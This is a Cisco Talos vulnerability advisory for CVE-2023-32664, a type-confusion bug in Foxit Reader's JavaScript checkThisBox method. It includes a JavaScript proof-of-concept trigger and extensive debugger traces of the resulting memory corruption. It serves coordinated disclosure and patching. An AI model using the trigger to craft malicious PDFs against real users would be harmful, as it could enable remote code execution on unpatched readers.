CVE-2023-32664
A type confusion vulnerability exists in the Javascript checkThisBox method as implemented in Foxit Reader 12.1.2.15332. Specially crafted Javascript code inside a malicious PDF document can cause memory corruption and lead to remote code execution. User would need to open a malicious file to trigger the vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.1.2.15332
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-843 - Access of Resource Using Incompatible Type (‘Type Confusion’)
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
PDF Javascript API defines the checkThisBox method to check or uncheck widgets such as the check box or radio button. The first parameter (nWidget) of the method indicates the index of an individual widget. The second parameter is optional, and the default value is true, which checks the widget. There exists a type confusion when the checkThisBox method is called with an non-Integer object type. To demonstrate, the following code triggers this vulnerability:
function main() {
getField("Text Field1").setAction("Calculate",'f15();');
getField("Text Field1").setAction("Format",'f11();');
f11();
}
function f11(arg1, arg2, arg3) {
app.activeDocs[0].deletePages();
app.fs.transitions;
app.activeDocs[0].getField('Radio Button0').checkThisBox('a');
}
function f15(arg1, arg2, arg3) {
event.value = 0;
}
Note that the same vulnerability can be triggered with the defaultIsChecked method that takes nWidget as its first parameter. We can observe the following in the debugger (with PageHeap enabled):
0:000> g
Breakpoint 0 hit
eax=006ae408 ebx=006ae474 ecx=02b96430 edx=00000000 esi=441ceff8 edi=31514ff8
eip=02e5e239 esp=006ae3e0 ebp=006ae420 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02e5e239 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf79370 (02b96430)} ; [1]
0:000> g
Breakpoint 1 hit
eax=04cbcf48 ebx=31514f01 ecx=1cb96c54 edx=2998afe8 esi=105926e0 edi=1cb96c50
eip=01bae4c7 esp=006ae2a8 ebp=006ae2b8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4e7147:
01bae4c7 56 push esi ; [2]
0:000> dd esi
105926e0 00000002 00000000 23225680 105925c0
105926f0 00000000 232338e8 00000001 00000001
10592700 00000000 00000004 00000000 00000000
10592710 00000006 00000000 0000002a 00000000
10592720 00000000 10594560 00000010 0000000c
10592730 10595f5c 10595f38 0000000a 00000000
10592740 00010106 10592710 00000000 00000000
10592750 00000000 105945a0 00000010 00000002
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4e7147:
01bae4c7 56 push esi
01bae4c8 ff5060 call dword ptr [eax+60h] ; [3]
01bae4cb 8bd8 mov ebx,eax
01bae4cd 85db test ebx,ebx
01bae4cf 7808 js FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4e7159 (01bae4d9)
01bae4d1 56 push esi
01bae4d2 8bcf mov ecx,edi
01bae4d4 e827ee0000 call FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f5f80 (01bbd300)
0:000> ba w4 105926e0+0xC ; [4]
0:000> g
Breakpoint 0 hit
eax=006ad9e8 ebx=006ada54 ecx=02b30420 edx=00000000 esi=4ac88ff8 edi=4ac86ff8
eip=02e5e239 esp=006ad9c0 ebp=006ada00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02e5e239 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf13360 (02b30420)}
0:000> g
Breakpoint 5 hit ; [5]
eax=0000001f ebx=04c40a58 ecx=00000007 edx=62626952 esi=04c40a58 edi=105926ec
eip=04519e0b esp=006ad77c ebp=006ad7a0 iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200203
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x43d6db:
04519e0b 83c704 add edi,4
0:000> dd 105926e0
105926e0 00000001 0000001f 0000001f 62626952
105926f0 00000000 232338e8 00000000 00000001
10592700 00000000 00000004 00000000 00000000
10592710 00000006 00000000 0000002a 00000000
10592720 00000000 10594560 00000010 0000000c
10592730 10595f5c 10595f38 0000000a 00000000
10592740 00010106 10592710 00000000 00000000
10592750 00000000 105945a0 00000010 00000002
0:000> da 105926ec
105926ec "Ribb"
0:000> kb L3
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 006ad7a0 011ba996 04c40a58 ffffffff 105926e0 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x43d6db
01 006ad7d4 011b9b65 1471ada0 006ad7b0 00000014 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x4100f6
02 006ad7e8 011b82be 1471ada0 006ad814 00adcc1b FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x40f2c5
0:000> g
Breakpoint 5 hit ; [6]
eax=2a75eff2 ebx=1c758fa0 ecx=00000022 edx=00000001 esi=2a75efd0 edi=105926ec
eip=04519ded esp=006ad6f8 ebp=006ad718 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x43d6bd:
04519ded f30f7f4f10 movdqu xmmword ptr [edi+10h],xmm1 ds:002b:105926fc=00736e6f6974704f6e61635374736f50
0:000> dd 105926e0
105926e0 00000001 00000011 00000011 006f0048
105926f0 00690072 006f007a 0074006e 74736f50
10592700 6e616353 6974704f 00736e6f 00000000
10592710 00000006 00000000 0000002a 00000000
10592720 00000000 10594560 00000010 0000000c
10592730 10595f5c 10595f38 0000000a 00000000
10592740 00010106 10592710 00000000 00000000
10592750 00000000 105945a0 00000010 00000002
0:000> du 105926e0+0xc
105926ec "Horizont潐瑳捓湡灏楴湯s"
0:000> kb L3
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 006ad718 0214ae48 00000011 2a75efd0 23233ba8 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x43d6bd
01 006ad730 01cfd04e 2a75efd0 006ad758 6b2f6f34 FoxitPDFReader!safe_vsnprintf+0x52dd88
02 006ad73c 6b2f6f34 23233ba8 2a75efd0 00000000 FoxitPDFReader!safe_vsnprintf+0xdff8e
0:000> g
Breakpoint 0 hit
eax=006ad9e0 ebx=006ada4c ecx=02b32520 edx=00000000 esi=33d8aff8 edi=33d88ff8
eip=02e5e239 esp=006ad9b8 ebp=006ad9f8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02e5e239 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf15460 (02b32520)}
0:000> g
Breakpoint 2 hit
eax=10592860 ebx=00000001 ecx=1cb96c50 edx=00000000 esi=00000000 edi=1cb96c50
eip=01bbd319 esp=006ae15c ebp=006ae170 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f5f99:
01bbd319 8bc8 mov ecx,eax
0:000> g
Breakpoint 2 hit
eax=105926e0 ebx=0074006e ecx=1cb96c50 edx=00000000 esi=00000000 edi=1cb96c50
eip=01bbd319 esp=006ae28c ebp=006ae2a0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f5f99:
01bbd319 8bc8 mov ecx,eax ; [7]
0:000> dd eax
105926e0 00000001 00000011 00000011 006f0048
105926f0 00690072 006f007a 0074006e 006c0061
10592700 00490020 0077006e 00720061 00000064
10592710 00000006 00000000 0000002a 00000000
10592720 00000000 10594560 00000010 0000000c
10592730 10595f5c 10595f38 0000000a 00000000
10592740 00010106 10592710 00000000 00000000
10592750 00000000 105945a0 00000010 00000002
0:000> du 105926e0+0xc
105926ec "Horizontal Inward"
0:000> p
eax=105926e0 ebx=0074006e ecx=105926e0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01bbd31b esp=006ae28c ebp=006ae2a0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f5f9b:
01bbd31b e8e0db3a00 call FoxitPDFReader!safe_vsnprintf+0x34de40 (01f6af00) ; [8]
0:000> t
eax=105926e0 ebx=0074006e ecx=105926e0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af00 esp=006ae288 ebp=006ae2a0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!safe_vsnprintf+0x34de40:
01f6af00 55 push ebp
0:000> p
eax=105926e0 ebx=0074006e ecx=105926e0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af01 esp=006ae284 ebp=006ae2a0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!safe_vsnprintf+0x34de41:
01f6af01 8bec mov ebp,esp
0:000>
eax=105926e0 ebx=0074006e ecx=105926e0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af03 esp=006ae284 ebp=006ae284 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!safe_vsnprintf+0x34de43:
01f6af03 8b5508 mov edx,dword ptr [ebp+8] ss:002b:006ae28c=00000000
0:000>
eax=105926e0 ebx=0074006e ecx=105926e0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af06 esp=006ae284 ebp=006ae284 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!safe_vsnprintf+0x34de46:
01f6af06 85d2 test edx,edx
0:000>
eax=105926e0 ebx=0074006e ecx=105926e0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af08 esp=006ae284 ebp=006ae284 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
FoxitPDFReader!safe_vsnprintf+0x34de48:
01f6af08 7817 js FoxitPDFReader!safe_vsnprintf+0x34de61 (01f6af21) [br=0]
0:000>
eax=105926e0 ebx=0074006e ecx=105926e0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af0a esp=006ae284 ebp=006ae284 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
FoxitPDFReader!safe_vsnprintf+0x34de4a:
01f6af0a 3b5118 cmp edx,dword ptr [ecx+18h] ds:002b:105926f8=0074006e
0:000>
eax=105926e0 ebx=0074006e ecx=105926e0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af0d esp=006ae284 ebp=006ae284 iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200293
FoxitPDFReader!safe_vsnprintf+0x34de4d:
01f6af0d 7d12 jge FoxitPDFReader!safe_vsnprintf+0x34de61 (01f6af21) [br=0]
0:000>
eax=105926e0 ebx=0074006e ecx=105926e0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af0f esp=006ae284 ebp=006ae284 iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200293
FoxitPDFReader!safe_vsnprintf+0x34de4f:
01f6af0f 83c110 add ecx,10h
0:000>
eax=105926e0 ebx=0074006e ecx=105926f0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af12 esp=006ae284 ebp=006ae284 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!safe_vsnprintf+0x34de52:
01f6af12 3b5108 cmp edx,dword ptr [ecx+8] ds:002b:105926f8=0074006e
0:000>
eax=105926e0 ebx=0074006e ecx=105926f0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af15 esp=006ae284 ebp=006ae284 iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200293
FoxitPDFReader!safe_vsnprintf+0x34de55:
01f6af15 7d10 jge FoxitPDFReader!safe_vsnprintf+0x34de67 (01f6af27) [br=0]
0:000>
eax=105926e0 ebx=0074006e ecx=105926f0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af17 esp=006ae284 ebp=006ae284 iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200293
FoxitPDFReader!safe_vsnprintf+0x34de57:
01f6af17 8b4104 mov eax,dword ptr [ecx+4] ds:002b:105926f4=006f007a
0:000>
eax=006f007a ebx=0074006e ecx=105926f0 edx=00000000 esi=00000000 edi=1cb96c50
eip=01f6af1a esp=006ae284 ebp=006ae284 iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200293
FoxitPDFReader!safe_vsnprintf+0x34de5a:
01f6af1a 8b0490 mov eax,dword ptr [eax+edx*4] ds:002b:006f007a=3f3f3f3f ; [9]
dd 006f007a
006f007a 3f3f3f3f 3f3f3f3f 3f3f3f3f 3f3f3f3f
006f008a 3f3f3f3f 3f3f3f3f 3f3f3f3f 3f3f3f3f
006f009a 3f3f3f3f 3f3f3f3f 3f3f3f3f 3f3f3f3f
006f00aa 3f3f3f3f 3f3f3f3f 3f3f3f3f 3f3f3f3f
006f00ba 3f3f3f3f 3f3f3f3f 3f3f3f3f 3f3f3f3f
006f00ca 3f3f3f3f 3f3f3f3f 3f3f3f3f 3f3f3f3f
At [1], the Field.checkThisBox method is called, which eventually calls a method at [3]. The pointer passed as an argument to the method is examined at [2]. A breakpoint is set on write access of the memory pointed to by the pointer at [4]. The breakpoint was hit at [5] and [6], where the pointer is confused with a string object and a string object is written to it. This causes a type confusion condition. Later at [7], the vulnerable pointer is passed as this argument to the method [8] where it is dereferenced. Here the crash didn’t occur as the arbitrary memory ([9]) is allocated and contains the value 0x3f3f3f3f. The crash occurs later in the code when the memory pointed to by 0x3f3f3f3f is dereferenced. This can be observed in a debugger at the time of the crash:
0:000>
eax=2998afe8 ebx=1cb96c50 ecx=2998afe8 edx=2998afe8 esi=00000000 edi=1cb96c50
eip=01bb75db esp=006ae240 ebp=006ae280 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f025b:
01bb75db 8b4508 mov eax,dword ptr [ebp+8] ss:002b:006ae288=3f3f3f3f
0:000>
eax=3f3f3f3f ebx=1cb96c50 ecx=2998afe8 edx=2998afe8 esi=00000000 edi=1cb96c50
eip=01bb75de esp=006ae240 ebp=006ae280 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f025e:
01bb75de 8b7808 mov edi,dword ptr [eax+8] ds:002b:3f3f3f47=????????
0:000>
(1544.1cd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3f3f3f3f ebx=1cb96c50 ecx=2998afe8 edx=2998afe8 esi=00000000 edi=1cb96c50
eip=01bb75de esp=006ae240 ebp=006ae280 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f025e:
01bb75de 8b7808 mov edi,dword ptr [eax+8] ds:002b:3f3f3f47=????????
0:000> dd 3f3f3f47
3f3f3f47 ???????? ???????? ???????? ????????
3f3f3f57 ???????? ???????? ???????? ????????
3f3f3f67 ???????? ???????? ???????? ????????
3f3f3f77 ???????? ???????? ???????? ????????
3f3f3f87 ???????? ???????? ???????? ????????
3f3f3f97 ???????? ???????? ???????? ????????
3f3f3fa7 ???????? ???????? ???????? ????????
3f3f3fb7 ???????? ???????? ???????? ????????
0:000> g
(1544.1cd4): Access violation - code c0000005 (!!! second chance !!!)
eax=3f3f3f3f ebx=1cb96c50 ecx=2998afe8 edx=2998afe8 esi=00000000 edi=1cb96c50
eip=01bb75de esp=006ae240 ebp=006ae280 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f025e:
01bb75de 8b7808 mov edi,dword ptr [eax+8] ds:002b:3f3f3f47=????????
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f025e:
01bb75de 8b7808 mov edi,dword ptr [eax+8]
01bb75e1 8b4308 mov eax,dword ptr [ebx+8]
01bb75e4 897de8 mov dword ptr [ebp-18h],edi
01bb75e7 85c0 test eax,eax
01bb75e9 7404 je FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f026f (01bb75ef)
01bb75eb 8b08 mov ecx,dword ptr [eax]
01bb75ed eb02 jmp FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f0271 (01bb75f1)
01bb75ef 33c9 xor ecx,ecx
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 006ae280 01bbd32a 3f3f3f3f 00000001 1cb96c50 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f025e
01 006ae2a0 01bae4d9 105926e0 1421ef01 105926e0 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4f5faa
02 006ae2b8 01f6a085 105926e0 006ae2d8 ea3b87ec FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x4e7159
03 006ae328 02bb96c8 00000000 1421ef01 00000001 FoxitPDFReader!safe_vsnprintf+0x34cfc5
04 006ae384 02b96582 1421eff8 00000001 006ae3ac FoxitPDFReader!safe_vsnprintf+0xf9c608
05 006ae3d8 02e5e23b 1421eff8 006ae408 006ae400 FoxitPDFReader!safe_vsnprintf+0xf794c2
06 006ae420 030425ab 4ba77600 4f4ecf71 4ba77600 FoxitPDFReader!FXJSE_GetClass+0x26b
07 006ae488 03041d6e 006ae4d0 4f4ecf71 006ae5ac FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3c9b
08 006ae51c 03042025 006ae54c 4ba77600 006ae5ac FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e345e
09 006ae564 03041eab 006ae57c 00000006 006ae5bc FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3715
0a 006ae580 0326432b 00000006 006ae5bc 4ba77600 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e359b
0b 006ae5a0 03200389 3fb82339 4f4ed7d5 0000000c FoxitPDFReader!CFXJSE_Arguments::GetValue+0x405a1b
0c 006ae5e4 03200389 4f4feb6d 3fb82339 3fb82339 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a1a79
0d 006ae620 03200389 4f4feb6d 4f551e41 4f551ea5 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a1a79
0e 006ae64c 031fea10 4f4feb6d 3fb821b1 4f551e41 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a1a79
0f 006ae664 031fe839 00000000 00000000 00000002 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a0100
10 006ae690 02e9aa8e 4ba77600 3fb82339 4f551e41 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x39ff29
11 006ae7a0 02e9a5a2 006ae934 4ba77600 006ae7fc FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3c17e
12 006ae828 02e832a4 006ae934 4ba77600 44937024 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3bc92
13 006ae9d8 02e82da0 006aea74 44937050 00000000 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24994
14 006ae9ec 02e5c7af 006aea74 44937050 ea3b8ea0 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24490
15 006aea64 02e5d0e6 44937024 44930ff8 44937010 FoxitPDFReader!FXJSE_Runtime_Release+0xd5f
16 006aeaa0 02ad4a14 366e8fd8 0d2d84f4 44930ff8 FoxitPDFReader!FXJSE_ExecuteScript+0x86
17 006aeb04 02ad5900 00000000 006aeb90 006aeb38 FoxitPDFReader!safe_vsnprintf+0xeb7954
18 006aeb18 0107119d 006aeb90 006aeb38 ea3b8f8c FoxitPDFReader!safe_vsnprintf+0xeb8840
19 006aeb48 01070064 2a62ef40 00000015 006aeb70 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c68fd
1a 006aeb88 0106eae0 232b2660 1471ada0 3d640fb8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c57c4
1b 006aebdc 0099a522 006aec0c 1471ada0 3d640fb8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c4240
1c 006aec2c 00bf76db 00000000 ea3b9c94 7fffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x8a02
1d 006af850 042ad52b 00000000 00000000 ea3b9de4 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x64bcb
1e 006af920 042ae704 00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0dfb
1f 006af944 042a90aa 00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d1fd4
20 006af9b8 042a991d 44f90e20 002b0330 00000429 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cc97a
21 006af9d8 76dd23a3 002b0330 00000429 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd1ed
22 006afa04 76dc30b6 042a98e9 002b0330 00000429 USER32!_InternalCallWinProc+0x2b
23 006afafc 76dc1975 042a98e9 00000000 00000429 USER32!UserCallWinProcCheckWow+0x4c6
24 006afb78 76dc14c0 00000429 006afba0 00b7d3c4 USER32!DispatchMessageWorker+0x4a5
25 006afb84 00b7d3c4 0f43eec8 0f43eec8 06117798 USER32!DispatchMessageW+0x10
26 006afba0 00b7d483 06117798 00b7d3f0 ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128684
27 006afbc0 046cb2fe 00000000 06143b14 077b8000 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128743
28 006afbd8 04490cc0 00760000 00000000 0c194360 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5eebce
29 006afc24 75f67d59 077b8000 75f67d40 006afc8c FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4590
2a 006afc34 772fb74b 077b8000 afc13d74 00000000 KERNEL32!BaseThreadInitThunk+0x19
2b 006afc8c 772fb6cf ffffffff 7732867c 00000000 ntdll!__RtlUserThreadStart+0x2b
2c 006afc9c 00000000 04490d8f 077b8000 00000000 ntdll!_RtlUserThreadStart+0x1b
In the above debugger output, the value of eax is 0x3f3f3f3f, which we got from the type confused pointer. The crash occurs when eax is dereferenced as if it were an object pointer. Depending on the memory layout of the process, it may be possible to gain arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.
Foxit provided patches here: https://www.foxit.com/downloads/#Foxit-Reader/ and here: https://www.foxit.com/downloads/#Foxit-PhantomPDF-Business/
2023-07-03 - Vendor Disclosure
2023-07-19 - Vendor Patch Release
2023-07-19 - Public Release
Discovered by Kamlapati Choubey and Aleksandar Nikolic of Cisco Talos.